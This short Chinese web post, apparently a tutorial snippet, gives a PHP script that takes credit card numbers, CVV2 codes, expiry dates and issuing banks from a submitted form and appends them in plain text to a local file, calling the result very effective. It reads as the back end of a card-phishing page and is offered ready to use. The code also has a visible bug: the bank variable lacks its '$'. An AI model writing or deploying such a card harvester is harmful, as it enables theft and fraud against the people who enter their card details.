时间:2021-07-01 10:21:17 帮助过:24人阅读
<?php
//定义要收集的表单内容
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//定义收集的内容格式
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的PHP代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
最后会在当前的目录里面创建txt.txt,并把收集到的信息都写入此文件中,效果还是很不错的。